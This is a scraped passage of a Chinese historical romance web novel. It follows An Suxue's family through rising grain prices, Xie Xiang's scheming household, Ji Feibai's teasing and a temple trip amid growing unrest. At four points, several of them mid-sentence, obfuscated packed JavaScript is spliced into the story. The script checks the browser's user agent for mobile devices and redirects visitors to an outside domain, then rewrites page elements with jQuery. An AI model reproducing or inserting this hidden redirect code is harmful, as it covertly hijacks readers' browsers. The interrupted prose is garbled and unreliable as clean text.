“又涨了?我是一个月前买的,还没涨价呢。”安杏花一听急了,她买的粮食多,但家里嘴多,买的米只够吃一个月,眼看着就要见底,她还打算明日去买,怎么涨价了? “不止是大米,像是白面,油盐酱醋,全涨价了!你不知道吗?” 家里厨房东西都够,所以安杏花没出去采买,自然不知道现在物价涨了这么多。 “来,再给你们续一碗茶,续茶不要钱,现在啊,什么都涨价,也就我老贾的茶摊子还能挺住,但照着这么个涨法,我看过些日子我也得多收一文钱了,否则挺不住了呦!” 街边的小摊贩们也要交钱给官府的,虽茶叶不涨价,可其他东西飞速涨,茶摊子一家也要吃饭的,逼不得已恐怕也得调价格。 安杏花坐立难安,赶忙带着孩子回去,正好医馆没人,便叫陈山去借车,他们赶紧去抢粮食。 陈山老神自在:“只是涨了一些罢了,我们屯那么多米面吃不完岂不是坏了。” “我右眼皮一直跳呢,感觉不对,多买些回来,反正我们人多消耗的快,好生存放不可能坏掉。”安杏花捂着眼皮,陈山无可奈何的起身,撕了一小块纸沾水贴在安杏花眼皮上。 “罢了,你等我片刻,我这就去借车。” 陈家看似陈山当家,但他从不强迫安杏花,反而安杏花说两句好话,陈山便全部听她的。夫妻俩恩恩爱爱,附近相熟的邻居都知道。 医馆里就剩下安素雪了,安杏花不放心,想让安素雪将医馆关了带着孩子去后院。陈山道:“光天化日之下,不会有贼人胆大包天上门抢孩子,若你实在不放心,请隔壁双生子过来照看一会。” “差点忘了,我得把粮食涨价的事情告诉罗家,他们家酿酒可得屯粮,要是一直涨,那本钱到时候搂不住。” 罗母最近也收到消息了,不过她常去的那家说只涨了一点,而且她是老主顾又是大主顾,还按照以前的价格算。 安杏花松了口气:“那就好,对了,你家双生子在吗?让他们过去帮忙看着点小竹子。” 罗母身为孩子母亲深有同感,忙不迭的道:“罗武送货去了,罗文在库房,我这就叫他去,你放心和陈山买米去吧,若是要价贵就先别买,我到时候带你去那家买,能便宜些。” 安杏花连连道谢和陈山离开,夫妻俩在驴车上探讨为何会物价飞涨。 “当然是因为世道乱了。”陈山叹气,“希望不要波及我们这。” “正常来讲是不会波及这里。” 谢府里,几个人正低头汇报外面情形,谢骧坐在轮椅上,修长的手指摩挲着杯盏,静静听他们所言。 “朝堂不稳,虽派人镇压,但群雄乱起,占地为王,之前新帝登基时清扫异己,如今已经无人可用。” 这话也就谢骧敢说,底下的人全部默不作声,谢骧忽然笑了。 “也不知道我那个三哥有没有料到这么一天。” 成日在屋里不见日光的谢骧皮肤惨白,笑起来时候阴恻恻。 “新皇登基那日,金銮殿前的地面上还隐隐有血迹,一将成万骨枯,几乎杀光了兄弟姐妹,灭了数位朝中重臣,踩着尸山血海千辛万苦登上帝位,可否会有后悔那日?” 谢骧笑容扩大,好似想到了什么有趣的事情,竟然低低的笑出了声。 屋内原本安静的针落可闻,可现在有了笑声之后更加安静,所有人都低着头一动不动,犹如木桩子立在那。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812086|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 半响之后,谢骧终于不笑了,一张俊逸的脸浮现绯红,瞧着竟然有几分健康的气色。红袖过来奉茶,谢骧浅啜一口,挥手道:“继续。” “是。” 一盏茶的功夫后,这些人才从房间退出去,添香进来柔声道:“主子,本地县令大人求见您。” “不见。” “是,奴婢这就去回话。” 来这里数月,本该没人知道谢骧的身份才是,但那日安素雪的弟弟丢了,官府不管不问,李昌只能请奏谢骧,用了他的令牌。 一看是信王殿下,本来在温柔乡里的县令爷立刻起来召集人手,李昌又给了对方消息,要不然官府的人不会行动如此迅速。 来这里数月才表露身份,肯定是不想叫人知道。县令琢磨来琢磨去,换掉了官服穿着便衣准备好重礼,悄声来拜访。没想到连面都没见到,礼物更是没送出去。县令一步三回头,恋恋不舍的走了。 天气热了,谢骧房间依旧只开着半扇,屋内滞闷发热,谢骧却神色如常甚至还能喝热茶。 “她在做什么?” 谢骧随意的问一句,片刻后就有人急匆匆而来,禀告道:“安姑娘正在看着医馆,方才有两个病患入内,似乎要瞧病。” “嗯,”谢骧放下茶盏,云淡风轻道:“记得保护左右。” “属下领命!” 安素雪并不知晓,她每次出门身后都有人暗中跟着,更不知晓,她在医馆里的一举一动都被人瞧了去,一五一十的禀告给谢骧。 她正认真的给柳盼兰看诊,笑着道:“看起来好多了。” “是好多了,夜里睡觉前我涂上膏药就不痒了。” 柳盼兰这回终于正眼瞧人了,她没想到安素雪年纪轻轻便会这么多,甚至比一些老大夫看的都好。 余念珠长呼一口气。 毕竟是她带着柳盼兰过来的,若是看不好病不止安素雪倒霉,自己也要被连累的。余念珠忙递了药钱,道:“你再给柳姑娘开点药,还有那个药膏,再来一罐。柳姑娘,你看这样成吗?” 柳盼兰身边整日围绕着莺莺燕燕,她早就习惯了旁人对她卑躬屈膝,因此只点了点头,倒好像余念珠是她的丫鬟。 “如果不痒的话,可以不用吃药了,等着慢慢恢复就好。”安素雪一双清明的眼睛看着柳盼兰,不卑不亢道:“算不得病,多注意饮食,最近莫要吃鱼腥羊肉等,时间长了也就恢复了。” 余念珠怀疑:“真的不用吗?还是吃药好的快,对吧柳姑娘?” 手脚都发痒,对于姑娘家而言,着实是件烦心又难以启齿的事情,余念珠觉得还是尽快治好才是。没想到柳盼兰思忱片刻,同意不吃药了,只让丫鬟写下禁忌事项,交给丫鬟收好。 临走时候余念珠又给安素雪钱,她没收,只道:“我们是朋友,不收钱了。” 余念珠弯唇笑,柳盼兰也笑。 安素雪没弄懂她们在笑什么。 柳盼兰说道:“过几日有诗会,你来吧。” 除了医术,安素雪对于琴棋书画一窍不通,她也从未参加过这等宴会。余念珠握住她的手,眨了眨眼道:“去嘛,可是柳姑娘亲自请你呢。” 安素雪张了张嘴,最后点头说好。 34. 第 34 章 罗文在后院帮忙带孩子,小竹子正是探索外物的年纪,根本闲不住,整日照看孩子的安杏花每每到了晚上就腰酸背痛。 罗文年轻精力旺盛,陪着小孩玩闹根本不会觉得累。 “安安,病人走了?” 安素雪从医馆后门进到院子里,想瞧瞧弟弟怎么样,就见小竹子正骑在罗文的脖子上,嘴里还喊着驾驾。 莞尔一笑的安素雪眉眼弯弯。“嗯,走了,小竹子,不许骑在罗文哥脖子上,罗文哥,你将他放下吧。” 虽然是小孩可分量不轻的,安素雪甚至勉强抱起来弟弟。 “无碍,小竹子喜欢玩就多玩一会。”罗文颠了颠,随着起伏的小竹子咯咯笑,见弟弟高兴,安素雪也笑出声,伸手逗弄弟弟。 罗家兄弟都随爹长的高大,安素雪抬手时袖子滑落,露出一截白皙的腕子。 本朝民风开放,这也没什么,寻常妇人洗衣服也会露出手腕,可不知道为什么,罗文像是烫着了似的错开眸子。 俊俏的年轻郎君红了耳朵,安素雪全身心在弟弟身上,丝毫没注意到。 待安杏花和陈山买粮食回来,罗文默不作声的帮忙,一手拎着一袋子,轻轻松松的走向库房放好。 “这孩子真能干!”安杏花忍不住夸赞。 以前罗家兄弟也常来帮忙干体力活,安杏花也会夸奖,但今日的夸奖不同往日,她是丈母娘看未来女婿的眼光。 瞧瞧这孩子,长相周正俊俏,家世也不错,罗家酒馆在城里远近闻名。越看越觉得好,安杏花还去厨房煮了绿豆汤给罗文解暑用。 待罗文走了,天色擦黑,安杏花又急忙做一家子的晚饭。季飞白不回来吃,安杏花便给他留了一碗放在锅里,若是他半夜饿了能垫垫肚子。 吃完饭陈香玉看着孩子,安杏花去厨房刷碗筷,安素雪过去帮忙收拾厨房,就听母亲道:“你觉得罗家兄弟怎么样?” 不待安素雪回答,安杏花自言自语道:“双生子是我看着长大的,小时候顽皮,但长大后品行不错,吃苦耐劳,附近家有女儿的都会留意。” 安素雪不发一言,果然,安杏花也不是询问她,只是在自说自话。 “不过我想不明白,往后要怎么平步青云?” 算命先生说,安素雪命中带的贵人会平步青云,前途不可限量。 难道罗家兄弟会把生意做大做强? 可这……不像是贵人征兆啊。 安杏花琢磨来琢磨去,又觉得自己未免太过贪心。她把洗好的碗筷放在一边,安素雪拿干净抹布擦拭水珠,然后摆放在架子上。 “娘啊,就希望你往后能找个好人家,这样娘就放心了。” 其实若是罗家酒庄生意做大了,安安嫁过去当个老板娘也不错,生活富足衣食无忧。 晚上睡觉时候安杏花还和陈山念叨,但贵人之事她没说,只有她和女儿知道。 陈山说道:“罗家兄弟确实不错,知根知底,若是你有意,等到安安及笄之后,我上门和罗父探探底,不过,他们家是双生子,你看中哪个了?” “罗家老大稳重,老二活泼,都还行,不过要是当女婿的话,还得是老大。” 俩人样貌生的几乎一模一样,性子倒是天差地别。 安杏花一一数起优点来,越数越觉得还不错。陈山见她高兴,便知道她是意动了。 “不急,安安还小,等到秋日了再说。” 虽说寻常人家及笄礼之后便成亲生子,但他们家养得起女儿,多留两年承欢膝下。 累了一天的陈山睡着了,安素雪却还在琢磨着谶言。屋里床边是张小榻,小竹子睡的正香。 也不知道过去多久,昏昏沉沉的安杏花隐约听见外面有动静。她轻手轻脚的下床将窗子开了条缝隙,却见院子里是女儿和季飞白。 两个人也不知道在说什么,安杏花先是皱眉,随后舒缓表情关上窗子回去睡觉了。 说不定季飞白是那个贵人。 安杏花琢磨了,就算他是季家丫鬟所生,也抹不去他是季大人之子的事实,老爹是当官的,儿子肯定差不了。 都说近水楼台先得月,没想到女儿还算开窍。 只是安杏花哪里能想到,二人并不是暧昧幽会,而是正在对峙着。 事情起因是季飞白安静擦拭自己的剑,安素雪睡不着披着衣服出来,手里却不是拿着药箱,而是一卷书。 院子里有桌椅,就算桌子上点了蜡烛,也黑黢黢的看不清书上小字,每过一会儿她就就要揉一次眼睛,季飞白停下擦剑,挑眉看她: “大晚上的看书?” “白日里没时间,过几日我要参加诗会,多看看做好准备。”安素雪又揉了下眼睛,觉得眼前的字怎么重叠在一起看不清楚呢? “是余姑娘邀请你?” “你怎么知道?” 有些事不要太好猜。 他到来这些日子,就没见她和其他人打过交道,每日里除了看诊就是熬药,日日夜夜沉醉于行医问诊之中。 唯二的交集便是和罗家兄弟还有余姑娘。 季飞白能得活计也是余姑娘在其中牵线搭桥,一般的大户人家娇娇女,最喜欢弄各种名头的宴席,姑娘们坐在一起品茗赏花,高贵优雅。 所以,季飞白想都不用想就知道是余念珠邀请她。 “你不想去?”季飞白看过来。 她没直接回答,反而道:“我从未参加过诗会,还不知道具体是怎么样的,不过既然是诗会,想必和诗词有关。” 她没有这方面的经验,特别怕露怯。 安素雪有点懊恼,攥着诗卷的手不由得收紧,足以看出她的紧张。 即使没看到当时的场景,季飞白也了然于胸。恐怕她又是不好意思拒绝旁人,一口答应下来。 “喂,你难道天生就不会拒绝旁人?” “我就是觉得……拒绝了不太好。” 和亲生父亲一起生活的记忆,早就随着时间和父亲去世而消散。后来她跟着安杏花回了安家,作为没有母亲在身边的外孙女,并不得老人青睐。 那时候表哥总是会说:“你是外来的小孩,别以为改姓安就真是安家人了。” 小小的安素雪不懂什么意思,只知道若是自己表现的听话乖顺,外祖父母便会对她好一些。 如果她忤逆了表哥,则会受到训斥。 后来,不管表哥要求她什么,她都会答应下来,这样日子好过,大家也都高兴。 再后来,安素雪被亲娘接来身边。 有娘亲在,夜里睡觉都安生,她珍惜得来不易的美好生活,更不想让母亲做难,于是变得更加乖顺懂事,小小年纪就能做杂活,左邻右舍都夸赞她懂事,陈山也对她喜爱有加。 她从小就这样,不会拒绝别人,如果拒绝了,日子就会发生变化,她不想那样。安素雪喜欢现在美好平和的日子,一家子在一起和和美美。 随着年岁增长,她的性子也变成了迎合,迎合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817982|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家人,迎合外人。 “如果不去的话,说不定下次她们就不来找我了。”她小声念叨着。 朋友不多,难得愿意有人愿意和她交好,即使她不擅长诗词,也愿意夜里偷偷学习,只想多和余念珠相处,维持单薄的友情。 “你说什么?”季飞白没听清,安素雪却怎么也不肯重复了,继续揉眼睛看诗词。 她皮肤白腻,一碰便红,眼圈已经揉的红彤彤,瞧着楚楚可怜,双手捧着书,脸都要贴在上面了。 季飞白突然起身回房,安素雪想他应当是回去睡觉,却不想没一会他又出来,倏地将手上的外裳扔在了她身侧。 “帮我把衣服洗了。”他说。 安素雪愣了愣,拿起衣服点头。 季飞白被她气笑了。 “你就这么没脾气?” 安素雪拿起衣服,嗅到衣服散发的皂角香气,很明显是干净的外裳,他是故意逗她的。 “我才不给你洗!” 安素雪这下恼了,一张小脸粉扑扑,杏眸亮的像是夜里明灯。 与之相比,季飞白笑的肆意张扬,他走过来拿走外裳。 “这不是会拒绝人么?” 季飞白回房了,安素雪则没了看书的心思,也回房睡觉去。 翌日一早看见院子里的季飞白,安素雪当没瞧见从他身边走过。 “啧。”异域少年扬眉看着她的背影,忽地笑了。 谁说她没脾气的?明明是脾气大的很,一直压抑着自己罢了。 医书里有说,堵不如疏。 大概昨日和季飞白置了气,这几日的郁闷借机发泄出来,今日心情格外好,除了看见季飞白的时候。 她站在药柜前擦灰,季飞白从后院过来,路过她身边时,放了什么东西在柜台上。 安素雪低头,便见到是一颗包着糖衣的松子糖。 抬头寻那人踪影,他却早就出门去了。 …… 下午时候谢府来人请安素雪,她到的时候,谢骧正坐在屋里抚琴。 添香要上前禀报,安素雪小声道:“不急的,等谢公子弹完这曲也来得及。” 一曲毕,安素雪才上前。她从未接触过这些,但也能听出来谢骧技艺高湛,便忍不住夸了一句。 有丫鬟鱼贯而入,小心翼翼将琴抱走,也有人过来送茶和点心,无一例外的都默不作声,加之房间里只开了半扇窗户,容易让人胸闷气短。 初夏时节,下午正是阳光正烈之时,西晒热度惊人,正好照在安素雪的身上。没过一会她便额头沁了薄汗,刚想擦汗,意外发现自己出来匆忙完了带手帕,只能随意用手抹了一把,然后继续弯腰拿药箱里的东西。 “不介意的话,可以用我的。” 余光里出现一只骨节分明的手,过分白皙的肌肤使得青筋分外明显,捏着一方乳色的帕子,帕子边角处绣着精致兰花,在日光照耀下流光溢彩。 “多谢。”她太热了,手上也黏腻,恐怕一会不好拿针,便接过帕子擦汗擦手。 帕子不知是用什么洗过,清淡的香气,像是谢骧这个人一般,空谷幽兰,叫人捉摸不透。 给谢骧换好了膏药,可惜的是,他还是没有任何知觉。 “再等等,谢公子莫要气馁。” 她边收拾边说安慰人的话,半靠在床头的谢骧垂着眸子,眼神晦涩。 方才她顺手按了他的小腿。 被按过的地方,现在隐隐泛着痒意。 35. 第 35 章 老百姓最喜欢春夏秋三个季节。 春日播种,夏日和秋日可收获。做生意的人家交际广,附近左邻右舍都是认识多年的熟人,家里有什么好东西也多会分享。 早上安杏花给罗家送了新鲜的大骨头,晚上罗武就送来一盆活蹦乱跳的小鱼。 “昨天城外的姨母家送来的,都是小鲫鱼,刺多,我娘说让炸了吃给小竹子补一补。” 安杏花笑盈盈的,让罗武带点她亲手做的馒头回去。这些年两家都是这样,比一些远亲来的更为亲近。 热腾腾的馒头又大又暄软,罗武拿起一个吃了,连连点头说好吃。罗家兄弟小时候生的虎头虎脑,没想到长大了越发的俊俏,因为老是帮忙家里做事,兄弟俩生的壮实,瞧着厚实的身板便知道有一把子力气。 安杏花看他的眼神越发慈爱。 如果安安嫁去罗家,俩兄弟都是能干的,她肯定不用吃苦。 “安安啊,你去送送罗武。” 正在收药材的安素雪闻言停下手里的活,跟着罗武往外走。 “不用,我几步就到家了,安安你去忙吧。” 罗武受宠若惊,总觉得安杏花现在对他特别客气和友好,以前可从未说让安安送过他。 他不知道为什么,安素雪却是知道的,她心里叹气,拿母亲没辙。打好关系罢了,安素雪照做就是,不想让母亲忧心。 回来后就要帮忙摘鱼,安杏花没让。 “你去看着小竹子,娘来处理,你一个小姑娘皮肉嫩,若是让鱼刺划了就不美了。” 说着看向女儿的手,紫玉竹留下的痕迹已经很淡了,指甲用凤仙花染了几次,呈现一种樱花粉,显得格外娇嫩。 今日季飞白回来的早,还带了烧鸡和卤肉以及不少糕点。安杏花嘴上说着这般破费做什么,手却诚实接过来,笑呵呵的拿去厨房切好摆盘放在桌上。 今日有骨头汤,炸鲫鱼,季飞白买的烧鸡和卤肉,安杏花又摘小青菜拌了一盆凉菜,丰盛的简直像是过年。 每次吃饭时候,安杏花都会先照顾小竹子吃,等孩子吃饱了她再吃。今日的炸鱼虽然已经炸的酥脆,但还是不放心,将鱼肉弄碎喂给孩子用。 陈山吃的快,他得赶紧回去照看医馆,生怕来人看诊。 陈香玉今日多用了些,她喜欢吃炸鱼。眼看着盘子里还有最后一条,陈香玉伸筷子便要夹走。却没想到半路伸出来一双筷子,比她动作更快,直接将炸小鱼夹走。 陈香玉不满的抬头,却发现是季飞白。 到底是客人,陈香玉什么都没说,但也没了吃饭的兴致,撂下筷子就走了。 所以她没看见,季飞白将那条炸鱼放在安素雪的碗里。 “喜欢吃为什么不夹?” 安杏花哄着吃完饭的小竹子在院子里玩,饭桌上此刻就他们二人。安素雪吃惊的看他,脱口而出道:“你怎么知道我喜欢吃炸鱼?” “一桌子大鱼大肉,你的视线先是落在了炸鱼上,但却没去夹菜,等吃了一口拌菜后才去夹,一条小鱼吃了许久,期间眼睛落在炸鱼盘子上五次,试图伸筷子两次。” 季飞白洋洋洒洒的说着,还放下筷子伸出两根手指晃了晃。 安素雪臊的脸红,忍不住小声道:“你……你不好好吃饭,看我做什么。” 季飞白扬眉,却是没回答她的问题,只抬了抬下巴,道:“趁热吃才酥脆。” 安杏花厨艺不错,鱼头摘掉,鱼肚子也清理干净,裹了一层薄薄的面衣,宽油炸过两遍,巴掌大的小鱼变得金黄酥脆,连刺都酥了。 “谢谢。”她回了一句,低头将鱼吃完。 也是巧了,还剩下最后一口时候,陈香玉不知道为何去而复返。若是让她知晓最后一条炸鱼落在她的肚子里恐怕不好,于是安素雪连忙入口,不等咀嚼,陈香玉就迈步进来了。 “你脸怎么这么红?” 本就颜色生的好,脸颊红扑扑时便带了一股娇媚之感。陈香玉视线在他们之间扫过,最后哼了一声,将落在座位上的折扇拿走。 …… 寻常百姓会在初一十五去寺庙拜佛求香,以前安杏花鲜少去,自打女儿婚事不顺后,她便有了这个习惯。 这日早上让两个女儿换上新衣服,给小竹子也打扮一番,准备花钱坐车去城外的香佛寺。 赶早不赶晚,他们收拾好后季飞白还没走,知道要去城外后,异域少年沉吟片刻,道:“婶子,我去借一辆马车,坐着也舒坦。” 季飞白出去做工的事情大家都知道了,安杏花便道:“飞白,你今日不去做工吗?” “今日休息。”他说。 安杏花笑道:“那感情好,正愁我们几个女眷加孩子不安全,有你在就放心了。” 季飞白身材颀长走路飞快,出了医馆后很快就不见踪影。他来到做事的府里,和管家言明今日休息。 “你今日休息?”管家诧异,因为要休息需要提前一日说明。 季飞白不疾不徐:“家中有事。” 管家道:“行吧,那两天的休息就变成一天,今日休完本月就不可再休了。” 季飞白颔首,又和管家借了车。 富贵人家的马车不是什么稀罕玩意,马厩里的骏马就有四匹,管家让他牵走最瘦弱那匹马,季飞白照旧道谢。 管家斜眼看他:“早点送回来。” 季飞白一一应下,赶车走了。 过了一会,一个花枝招展的小姑娘跑过来,踅摸一圈没看见人。“爹,季哥哥呢?” 小姑娘是管家女儿,每日都围着季飞白转悠,也正因为如此,原本欣赏季飞白的管家现在看不上他。 他的女儿是要给大少爷做妾室的,往后吃香喝辣享受荣华富贵,哪能跟个毛头小子吃苦。 “行了,瞧瞧你脸蛋抹的像猴屁股,成何体统!赶紧洗了,也把这身艳丽衣服换了,大少爷喜欢素净颜色,收拾好赶紧去侍候少爷起身。” …… 旁人家的事情季飞白不会干涉,等他赶车过来医馆门口时,就见罗家双生子站在门口,一个像是狗似的围着安素雪,尾巴摇的欢,另一个眼神冷淡的和季飞白对视。 没想到今日罗母也要去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823386|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祈福。 幸好马车足够宽敞,挤一挤也就坐下了。 只是天气热了,车帘一放下小竹子扭动着从安杏花怀里出来,不安分的跑去撩帘子。安杏花道:“你想坐外面?” 小孩点头。 安素雪便道:“娘,我带他去外面坐。” 外面只有季飞白一个人赶车,再坐一个人也没问题的。这时候罗武突然插话:“婶子,坐外面晃悠,怕安安抱不住小竹子,不如我带孩子去吧。” 罗母笑着道:“行,你身强体壮,去吧。” 安杏花忙不迭的夸罗武,罗武闻言挺直腰背,抱着孩子就出去了。 季飞白转头看小竹子,小孩朝着他笑。 安素雪不放心,撩开车帘照看着,和罗武有一搭没一搭的说话。 到城门口时发现士兵百姓众多,似乎在查什么。季飞白跳下车上前询问,回来后道:“是在查牙牌。” 牙牌就是官府特制的厚实竹片,上面记载了出生年月、住址、相貌。一般来说进出城不用查这东西的,所以他们都没戴在身上。 罗武自告奋勇回去取,几个人就等在城门口。 出城还好,只看一眼牙牌,进城检查的格外仔细。 罗武跑着回来的,有了身份证明,几个人顺利出了城。进城的人检查严格,因此大排长龙。 “奇怪,怎么突然戒严了?” 季飞白答道:“方才问了士兵,说是因为现在外面动荡,怕混进来不轨之人。” 安杏花拍手道:“哎呀,我想起来了,会不会是因为现在外面乱了?我听人家说,各地都有人起义,随便有权有兵的人都封地称王。” 罗母也附言:“你说的对,要我说啊,最苦的还是我们老百姓,上头坐着的人是谁与我们何干呢?只要能让百姓过上好日子比什么都强。” 因为在车里,便肆意谈论起来。安素雪静静的听着,也跟着忧心。 如果世道真的乱了,那他们还能过安稳生活吗? 罗文和罗武也跟着说几句,唯有季飞白,自始至终都是沉默。他眉头笼罩着一股淡淡的忧愁,似乎在想着什么。 今日是初一,来上香的人不少,大多是马车牛车驴车,也有附近村落步行而来的百姓。 不过,今日额外多了一些人,衣衫褴褛,像是乞丐,但身上背着包裹,应当是远途赶路之人。 有的富家姑娘夫人出行都会带铜板,会给乞丐们撒一把钱,为了结下善缘。也不管对方身份,只要见脏兮兮的,便会给点铜板。 季飞白眺望远处,不知想到了什么微微蹙眉。 “季公子?” 其他人都先走一步,安素雪留下等季飞白系好马车。 安素雪顺着他的视线看过去,却没什么特别之处。 山脚下有帮忙看车的人,只需要付两个铜板,还能帮忙喂食。给了钱后俩人一起往山上去。 上次在香佛寺留下不好的记忆,这次安素雪变得格外谨慎。 “怕什么?” 身后季飞白声音不急不缓:“我看谁敢拿你怎么样。” 36. 第 36 章 走到寺庙门口时,安素雪突然想到了什么,她回过头,对着季飞白方才远眺的方向道:“那是,你家乡的方向吗?” 季飞白颔首,却未多说什么,大踏步走了进去。 年少离家,想必是想家的。其实安素雪不大明白,为何季家要让季飞白离家,即使他不是嫡母所生,也是季家的孩子啊。 她悄悄看他,正好他抬眸看过来,安素雪迅速转过视线。 每月的初一和十五,香佛寺的香火都极其旺盛,百姓们人来人往,好不热闹。 安杏花和罗母二人一起进殿拜佛烧香,孩子们则是留在殿外等候。都说心诚则灵,孩子们鲜少接触这些,若是心不诚,这趟就白来了。 俩人俱是摇了签,捏着竹签打算出去找外面的僧人解签,罗母道:“咱们这虽然还没乱,但我很担心,所以问问生意如何?你呢?求的什么?是不是也是医馆的生意啊?” 哪里是生意,是安素雪的婚事。 其实这也没什么,但经过她这么一问,安杏花倒有点不好意思开口了。幸好外面小竹子见她出来小跑着扑上来,安杏花没顾上回话,罗母就也没再追问了。 解签文的人多要排队,罗母就率先过去,安杏花晚到一会,罗母身后已经站了几个人了。 “杏花,你来这。”罗母叫人,意思是让安杏花站在她前面。 如果是平常她肯定就过去了,但今天是想看安素雪婚事,安杏花指着队伍末尾道:“我在这,也快。” 那边几个年轻人站在一起,大抵是心有余悸,安素雪甚至都没敢往香客住宿的方向看。 罗武突然说了句:“拐卖孩子的那些人是不是还在官府牢里?” 安素雪垂着眸子回答道:“说是要先审过,再移交给州府,应当已经转移走了。” 陈山去县衙问过,说那些人确实是戏班子,利用戏法在城里拐了三个漂亮孩子,想到下一个地方出手卖出去。若是卖不出去,还能养着从小学戏法,用不了几年就能登台挣钱了。 “惯犯。”提到拐孩子的犯人,罗文声音发冷,“恐怕不止这一次,兴许每到一个地方就如法炮制拐孩子离开,以此牟利。” 这件事出了之后,城里有孩子的大人都看的非常紧,幸好没再出现丢孩子的事情。 两位母亲解签回来,一个喜笑颜开,一个兴致恹恹。 “娘,怎么了?” 见安杏花抿着唇失落的模样,安素雪上前温声安慰。 “没事,走吧,我们去吃一口粥。” 初一十五两个日子,寺庙里都会熬粥。也不知道用的什么稻米,熬出来的粥又浓又香。只要进寺庙的香客都可以分上一碗,他们端着粥碗,还能歇息片刻。 喝完粥往山下去,发现乞丐比之前多了不少,围着那些衣着华丽的妇人,嘴里说着讨喜的话。 “现在城门戒严,他们没有牙牌根本进不去。”罗文道。 俱是苦命人,安杏花拿出几个铜板,打算给他们分一分。有个小乞丐看见她的动作,一溜烟的窜了过来,快速说了讨喜的话然后手心朝上。 安杏花便给了两个铜板,然而这时怀里的小竹子突然爆哭,像是被小乞丐吓到了。 安杏花连忙安抚,小孩哭个不停,怎么也停不下来。 “小竹子,看,这是什么?” 安素雪绕到娘亲的身后,和搂着娘脖子哇哇哭的弟弟面对面。小竹子听见姐姐的声音睁开眼,泪眼朦胧的小孩瞧见姐姐手里有一块糖。 季飞白看了过来,瞧见他给她的松子糖落在了小竹子手里,有了吃食顿时忘了哭,露出小门牙啃着松子糖。 小竹子的眼睛生的又大又亮,和安素雪的眼眸生的一模一样。他刚哭完,睫毛上还挂着泪珠,可已经捧着糖块笑了。 安素雪也笑的眉眼弯弯,比自己吃了糖还要觉得甜。 上车的时候,有背着简陋包裹的落魄异乡人,询问有什么法子能进城。可能是看安素雪是个面善的,这么多人里挑着她来问。 “现在城里进出都要看牙牌的,你若是身上有牙牌,只要登记在册便能进城。” “路上乱着哩,能保住命都不错了,牙牌早就不知道丢到哪了!” 那人是个中年男人,身边还有个脏兮兮的看着像男娃的孩子,不过眼神清澈,安素雪一眼就看出是个小女娃。 “姑娘啊,你行行好,将我们藏在你车里带着进城可好?”那中年男人凑近几步,“我无以为报,愿意入姑娘府上为奴!” 这人作势就要下跪,吓的安素雪退后一步,身侧突然掠过人影,就见罗家兄弟一起上前挡在安素雪身前。 “你干什么?别过来。”罗武大声呵斥。 中年男人旁边的孩子见罗武凶神恶煞,连忙躲在父亲身后。 这边季飞白解开了绳子,撩开车帘让女眷先上车,几步来到安素雪身边,拽着她的手腕往车旁拉。 “世道乱了,这种人会越来越多,你能帮一个,帮不了所有人。况且,现在官府查的严,如果你当真让他上车,先不说能不能过了城门士兵的盘查,若是将来他在城里为非作歹,你会首当其冲受到牵连。别看了,上车。” 季飞白身材颀长,手掌也生的宽大,轻松的握住她的小臂,手上没怎么用力,便将她送上了车厢。 太轻了。他想。 落座的安素雪抬眸看他,季飞白已经转身去叫罗家兄弟。不止他们如此,旁人家更是如避蛇蝎的避开那些人,更有甚者让府里的仆从去驱赶,嫌他们晦气。 “都是可怜人。”安杏花感叹一句。 想帮忙,但他们什么也做不了。经此一事,回城路上的气氛便有些凝重。 沿途又碰到几个形容落魄的旅人,季飞白面色冷静的拒绝他们搭车请求,一言不发的赶路。 安素雪坐在车厢最外侧,她不知道怎么回事觉得胸闷,便掀开帘子弯腰出去,坐在了季飞白身侧。 车厢里,罗武作势也要追出来,罗文踢了他一脚,摇头示意莫要轻举妄动。 长辈还在这,断不可举止轻浮,免得留下不好的印象。 城外村落稀疏,路两旁俱是郁郁葱葱的树林,满眼绿色舒缓心中焦虑情绪。季飞白余光瞥了她一眼,瞧见她指甲抠着衣袖,贝齿咬着下唇,很明显还在为方才的事情惴惴不安。 “也不知道外面到底乱成什么样,”安素雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832124|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 